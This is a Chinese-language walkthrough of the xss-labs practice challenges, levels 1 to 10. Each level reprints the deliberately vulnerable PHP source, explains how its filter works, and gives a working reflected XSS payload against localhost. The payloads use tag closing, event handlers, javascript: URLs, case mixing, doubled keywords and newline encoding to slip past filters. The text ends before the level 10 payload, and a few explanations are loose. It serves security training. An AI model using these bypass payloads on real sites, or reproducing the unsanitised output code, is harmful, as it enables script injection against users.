xss-labs通關筆記
第一關 不使用過濾器
後臺程式碼
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level2.php?keyword=test"; } </script> <title>歡迎來到level1</title> </head> <body> <h1 align=center>歡迎來到level1</h1> <?php ini_set("display_errors", 0); $str = $_GET["name"]; echo "<h2 align=center>歡迎使用者".$str."</h2>"; ?> <center><img src=level1.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>";?> </body> </html>
b、分析
這關只給一個圖片,根據圖片可以知道這關容易,而連結上有一個引數name,說明突破口在name這裡,根據程式碼我們可以看出,程式碼是將使用者以GET方式提交的引數name,沒有做任何防禦措施就直接顯示在HTML頁面中,所以將使用<script>alert('xss')</script>放入name變數中即可。
c、方法
直接使用js指令碼即可
d、注入語句
127.0.0.1/xss-labs/level1.php?name=<script>alert(1)</script>
第二關 閉合標籤
a、後臺程式碼
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level3.php?writing=wait"; } </script> <title>歡迎來到level2</title> </head> <body> <h1 align=center>歡迎來到level2</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level2.php method=GET> <input name=keyword value="'.$str.'"> <input type=submit name=submit value="搜尋"/> </form> </center>'; ?> <center><img src=level2.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>
b、分析
這關我們可以發現多了一個文字框,我們先用之前的語句填入文字框裡面,發現不行,什麼有了防禦機制,那麼我們看看原始碼,它將我們輸入的值給了value,然後它再傳給了一個htmlspecialchars函式,這個函式是把預定義的字元轉換為 HTML 實體,說明把<script>標籤吃掉了,那麼我們的突破口就在value這裡,我們可以通過閉合標籤,使得<input name=keyword value="'.$str.'">這一句就閉合掉,即在<script>alert('xss')</script>前面加">,對前面input標籤進行閉合。
htmlspeciachars函式預設不轉義單引號
c、方法
這裡我們需要閉合<input>標籤
d、payload
http://127.0.0.1/xss-labs/level2.php?keyword="><script>alert(1)</script>
第三關 雙引號閉合並新增事件
a、後臺原始碼
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level4.php?keyword=try harder!"; } </script> <title>歡迎來到level3</title> </head> <body> <h1 align=center>歡迎來到level3</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>"."<center> <form action=level3.php method=GET> <input name=keyword value='".htmlspecialchars($str)."'> <input type=submit name=submit value=搜尋 /> </form> </center>"; ?> <center><img src=level3.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>
b、分析
看看原始碼,發現這裡不但對"
號做了防禦,而且在value這裡也加了htmlspecialchars
函式,雖然對了雙引號做了防禦,但是卻放行單引號,這種情況我們可以通過事件標籤觸發表單執行。
c、方法
這種情況我們可以通過事件標籤觸發表單執行,即通過使用HTML的事件知識對其注入。
d、payload
http://127.0.0.1/xss-labs/level3.php?keyword=' onclick=alert(1) '
第四關 雙引號閉合並新增事件
a、原始碼
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level5.php?keyword=find a way out!"; } </script> <title>歡迎來到level4</title> </head> <body> <h1 align=center>歡迎來到level4</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level4.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜尋 /> </form> </center>'; ?> <center><img src=level4.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>"; ?> </body> </html>
b、分析
看看原始碼,發現這裡不但對‘
號做了防禦,他這次不對value進行過濾,而是用str_replace
函式直接過濾掉<>
,但是不知道是不是有疏忽,對了單引號做了防禦,但是卻放行雙引號,這種情況我們還是可以通過事件標籤觸發表單執行。
c、方法
這種情況我們可以通過事件標籤觸發表單執行,不過需要的雙引號改成單引號。
d、payload
http://127.0.0.1/xss-labs/level4.php?keyword=" onclick=alert(1) "
第五關 JavaScript偽協議
a、原始碼
<title>歡迎來到level5</title> </head> <body> <h1 align=center>歡迎來到level5</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level5.php method=GET> <input name=keyword value="'.$str3.'"> <input type=submit name=submit value=搜尋 /> </form> </center>'; ?> <center><img src=level5.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str3)."</h3>"; ?> </body> </html>
b、分析
根據原始碼,我們發現它對<script和on的都做了特殊處理,而且還使用strtolower函式對所有字串變成小寫,單引號也不可用了,但是我們還是可以閉合語句,通過雙引號加>閉合,但是閉合歸閉合,卻沒有用來觸發的條件呀!我們這時候可以使用javascript偽協議以及標籤進行注入。
c、方法
使用JavaScript偽協議
d、payload
http://127.0.0.1/xss-labs/level5.php?keyword="><a href=javascript:alert(/XSS/)>click here !</a>
第六關 大小寫繞過
a、原始碼
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level7.php?keyword=move up!"; } </script> <title>歡迎來到level6</title> </head> <body> <h1 align=center>歡迎來到level6</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str2=str_replace("<script","<scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level6.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜尋 /> </form> </center>'; ?> <center><img src=level6.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>"; ?> </body> </html>
b、分析
這題我們可以看出雖然對on、src、data、href、<script進行過濾,但是沒有了對大寫字母進行修改,所以我們可以使用單引號閉合,加大小寫的指令碼或者標籤方法注入。
c、payload
http://127.0.0.1/xss-labs/level6.php?keyword="><ScrIpt>alert(/xss/)</ScrIPt>
第七關 雙重書寫繞過
a、原始碼
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level8.php?keyword=nice try!"; } </script> <title>歡迎來到level7</title> </head> <body> <h1 align=center>歡迎來到level7</h1> <?php ini_set("display_errors", 0); $str =strtolower( $_GET["keyword"]); $str2=str_replace("script","",$str); $str3=str_replace("on","",$str2); $str4=str_replace("src","",$str3); $str5=str_replace("data","",$str4); $str6=str_replace("href","",$str5); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form action=level7.php method=GET> <input name=keyword value="'.$str6.'"> <input type=submit name=submit value=搜尋 /> </form> </center>'; ?> <center><img src=level7.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str6)."</h3>"; ?> </body> </html>
b、分析
我們可以看到輸入比上一題加深了大小寫過濾的的難度,但是它卻把特殊語義的字串修改成了空字串,我們就可以使用特殊語義重構的方法進行注入。
c、payload
http://127.0.0.1/xss-labs/level7.php?keyword="><scrscriptipt>alert(/xss/)</scrscriptipt>
第八關 字元實體
a、原始碼
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level9.php?keyword=not bad!"; } </script> <title>歡迎來到level8</title> </head> <body> <h1 align=center>歡迎來到level8</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level8.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=新增友情連結 /> </form> </center>'; ?> <?php echo '<center><BR><a href="'.$str7.'">友情連結</a></center>'; ?> <center><img src=level8.jpg></center> <?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>"; ?> </body> </html>
b、分析
那麼我們就需要引入編碼繞過的概念,由於會被htmlspecialchars函式轉義,所以可將所有字元編碼為HTML實體,從而繞過。
c、payload
http://127.0.0.1/xss-labs/level8.php?keyword=javascri%0apt:alert(123)
第九關 檢測關鍵字存在
a、原始碼
<title>歡迎來到level9</title> </head> <body> <h1 align=center>歡迎來到level9</h1> <?php ini_set("display_errors", 0); $str = strtolower($_GET["keyword"]); $str2=str_replace("script","scr_ipt",$str); $str3=str_replace("on","o_n",$str2); $str4=str_replace("src","sr_c",$str3); $str5=str_replace("data","da_ta",$str4); $str6=str_replace("href","hr_ef",$str5); $str7=str_replace('"','"',$str6); echo '<center> <form action=level9.php method=GET> <input name=keyword value="'.htmlspecialchars($str).'"> <input type=submit name=submit value=新增友情連結 /> </form> </center>'; ?> <?php if(false===strpos($str7,'http://')) { echo '<center><BR><a href="您的連結不合法?有沒有!">友情連結</a></center>'; } else { echo '<center><BR><a href="'.$str7.'">友情連結</a></center>'; } ?> <center><img src=level9.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str7)."</h3>"; ?> </body> </html>
和上一關差不多,這一關只是多了個strpos函式來驗證傳入後端的字串中是否含有http://,所以可以通過註釋http://繞過
c、payload
http://127.0.0.1/xss-labs/level9.php?keyword=javascrip%0at:alert(123)//http://
第十關 隱藏資訊
a、原始碼
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不錯!"); window.location.href="level11.php?keyword=good job!"; } </script> <title>歡迎來到level10</title> </head> <body> <h1 align=center>歡迎來到level10</h1> <?php ini_set("display_errors", 0); $str = $_GET["keyword"]; $str11 = $_GET["t_sort"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關的結果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level10.png></center> <?php echo "<h3 align=center>payload的長度:".strlen($str)."</h3>"; ?> </body> </html>
b、分析
我們使用之前的方法發現,無論怎麼樣都沒用,那麼我們來看看原始碼,發現有一個t_sort引數,是需要我們在後臺才能找到的,而這個引數其實並沒有加什麼特殊防禦,只是過濾了尖括號,所以我們可以使用觸發事件標籤進行。
c、payload